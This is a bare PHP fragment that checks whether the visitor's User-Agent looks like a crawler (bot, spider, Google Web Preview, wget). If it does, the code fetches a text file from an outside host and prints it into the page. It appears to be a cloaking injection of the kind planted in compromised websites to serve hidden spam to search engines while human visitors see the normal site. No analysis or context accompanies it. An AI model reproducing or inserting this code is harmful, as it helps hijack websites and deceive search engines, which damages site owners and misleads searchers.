if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){ $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CURLOPT_URL, 'http://message.vaultpos.com/2017407jingxiang.txt'); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); echo $file_contents; } ?>